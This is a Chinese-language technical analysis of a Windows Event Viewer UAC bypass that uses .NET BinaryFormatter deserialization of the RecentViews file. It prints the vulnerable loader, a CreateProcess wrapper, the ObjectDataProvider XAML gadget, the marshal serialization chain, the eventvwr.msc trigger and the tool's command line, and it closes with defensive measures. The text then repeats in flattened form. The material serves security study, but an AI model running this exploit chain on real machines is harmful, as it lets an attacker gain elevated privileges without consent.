Sharp4EventRecentViewer:通过白名单文件反序列化漏洞绕过UAC
字数 1284 2025-08-22 12:23:11

Windows事件查看器反序列化漏洞UAC绕过技术分析

1. 漏洞背景与原理

1.1 Windows事件查看器机制

Windows事件查看器(Event Viewer)是系统管理工具,位于用户目录下的AppData\Local\Microsoft\Event Viewer。其中RecentViews文件是关键,它记录了用户最近查看的事件视图信息,采用二进制格式存储。

启动事件查看器的两种常见方式:

cmd /c eventvwr.msc
cmd /c eventvwr.exe

1.2 漏洞核心点

事件查看器启动时会加载EventViewer.dll,其中的LoadMostRecentViewsDataFromFile方法存在反序列化漏洞:

private void LoadMostRecentViewsDataFromFile()
{
    try
    {
        if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
        {
            FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
            object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
            lock (syncRoot)
            {
                EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
            }
            fileStream.Close();
        }
    }
    catch (FileNotFoundException){}
}

关键问题:

  • 使用不安全的BinaryFormatter().Deserialize方法
  • 未对反序列化内容进行验证
  • 文件路径固定且可预测(C:\Users\[用户名]\AppData\Local\Microsoft\Event Viewer\RecentViews)

2. 漏洞利用技术实现

2.1 动态编译启动进程

攻击代码首先生成一个可执行文件StartInSelectedDesktop.exe,核心功能是使用Windows API CreateProcess创建新进程:

[DllImport("kernel32.dll")]
private static extern bool CreateProcess(
    string lpApplicationName,
    string lpCommandLine,
    IntPtr lpProcessAttributes,
    IntPtr lpThreadAttributes,
    bool bInheritHandles,
    int dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    ref STARTUPINFO lpStartupInfo,
    ref PROCESS_INFORMATION lpProcessInformation);

2.2 对象序列化为XAML

利用ObjectDataProvider将进程启动参数序列化为XAML格式:

Process objectInstance = new Process { StartInfo = processStartInfo };
ObjectDataProvider obj = new ObjectDataProvider {
    MethodName = "Start",
    IsInitialLoadEnabled = false,
    ObjectInstance = objectInstance
};

生成的XAML示例:

<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" 
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
    <ObjectDataProvider.ObjectInstance>
        <sd:Process>
            <sd:Process.StartInfo>
                <sd:ProcessStartInfo Arguments="Default &quot;cmd.exe&quot;" 
                    StandardErrorEncoding="{x:Null}" 
                    StandardOutputEncoding="{x:Null}" 
                    UserName="" Password="{x:Null}" Domain="" 
                    LoadUserProfile="False" 
                    FileName="C:\Users\Ivan1ee\AppData\Local\Temp\StartInSelectedDesktop.exe"/>
            </sd:Process.StartInfo>
        </sd:Process>
    </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

2.3 BinaryFormatter序列化

利用TextFormattingRunPropertiesMarshalDataSetMarshal类构造恶意负载:

TextFormattingRunPropertiesMarshal graph = new TextFormattingRunPropertiesMarshal(xaml);
using (MemoryStream memoryStream = new MemoryStream())
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    binaryFormatter.Serialize(memoryStream, graph);
    byte[] bfPayload = memoryStream.ToArray();
    
    DataSetMarshal graph2 = new DataSetMarshal(bfPayload);
    memoryStream.Position = 0L;
    binaryFormatter.Serialize(memoryStream, graph2);
    result = memoryStream.ToArray();
}

2.4 白加黑绕过UAC

最终利用eventvwr.msc触发漏洞:

if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", 
    IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, 
    ref structure, ref process_INFORMATION))

3. 完整攻击流程

  1. 生成恶意RecentViews文件并写入目标路径
  2. 构造包含命令执行的XAML数据
  3. 将XAML数据序列化为BinaryFormatter格式
  4. 通过DataSetMarshal类包装payload
  5. 触发事件查看器启动,自动加载恶意RecentViews文件
  6. 反序列化漏洞触发,执行预设命令
  7. 绕过UAC启动高权限进程

4. 防御措施

  1. 禁用BinaryFormatter:在应用程序中禁用或替换不安全的反序列化方法
  2. 文件权限控制:限制对RecentViews文件的写入权限
  3. UAC设置:保持UAC在最高级别
  4. 应用白名单:限制非授权应用程序执行
  5. 日志监控:监控事件查看器异常启动行为
  6. 补丁更新:及时安装微软安全更新

5. 工具使用示例

执行命令:

Sharp4EventRecentViewer.exe cmd.exe

工具会自动:

  1. 生成恶意载荷写入RecentViews路径
  2. 模拟打开事件查看器
  3. 触发反序列化漏洞
  4. 启动新的CMD进程

6. 技术总结

该漏洞利用链结合了多个关键技术点:

  • Windows事件查看器的固定文件路径特性
  • .NET不安全的反序列化机制
  • UAC绕过技术
  • 白加黑攻击手法

这种攻击具有高度隐蔽性,因为:

  1. 利用了系统自带工具
  2. 无文件落地(payload存储在合法位置)
  3. 利用了系统正常功能流程
  4. 不需要额外权限提升步骤
Windows事件查看器反序列化漏洞UAC绕过技术分析 1. 漏洞背景与原理 1.1 Windows事件查看器机制 Windows事件查看器(Event Viewer)是系统管理工具,位于用户目录下的 AppData\Local\Microsoft\Event Viewer 。其中 RecentViews 文件是关键,它记录了用户最近查看的事件视图信息,采用二进制格式存储。 启动事件查看器的两种常见方式: 1.2 漏洞核心点 事件查看器启动时会加载 EventViewer.dll ,其中的 LoadMostRecentViewsDataFromFile 方法存在反序列化漏洞: 关键问题: 使用不安全的 BinaryFormatter().Deserialize 方法 未对反序列化内容进行验证 文件路径固定且可预测( C:\Users\[用户名]\AppData\Local\Microsoft\Event Viewer\RecentViews ) 2. 漏洞利用技术实现 2.1 动态编译启动进程 攻击代码首先生成一个可执行文件 StartInSelectedDesktop.exe ,核心功能是使用Windows API CreateProcess 创建新进程: 2.2 对象序列化为XAML 利用 ObjectDataProvider 将进程启动参数序列化为XAML格式: 生成的XAML示例: 2.3 BinaryFormatter序列化 利用 TextFormattingRunPropertiesMarshal 和 DataSetMarshal 类构造恶意负载: 2.4 白加黑绕过UAC 最终利用 eventvwr.msc 触发漏洞: 3. 完整攻击流程 生成恶意 RecentViews 文件并写入目标路径 构造包含命令执行的XAML数据 将XAML数据序列化为BinaryFormatter格式 通过 DataSetMarshal 类包装payload 触发事件查看器启动,自动加载恶意 RecentViews 文件 反序列化漏洞触发,执行预设命令 绕过UAC启动高权限进程 4. 防御措施 禁用BinaryFormatter :在应用程序中禁用或替换不安全的反序列化方法 文件权限控制 :限制对 RecentViews 文件的写入权限 UAC设置 :保持UAC在最高级别 应用白名单 :限制非授权应用程序执行 日志监控 :监控事件查看器异常启动行为 补丁更新 :及时安装微软安全更新 5. 工具使用示例 执行命令: 工具会自动: 生成恶意载荷写入 RecentViews 路径 模拟打开事件查看器 触发反序列化漏洞 启动新的CMD进程 6. 技术总结 该漏洞利用链结合了多个关键技术点: Windows事件查看器的固定文件路径特性 .NET不安全的反序列化机制 UAC绕过技术 白加黑攻击手法 这种攻击具有高度隐蔽性,因为: 利用了系统自带工具 无文件落地(payload存储在合法位置) 利用了系统正常功能流程 不需要额外权限提升步骤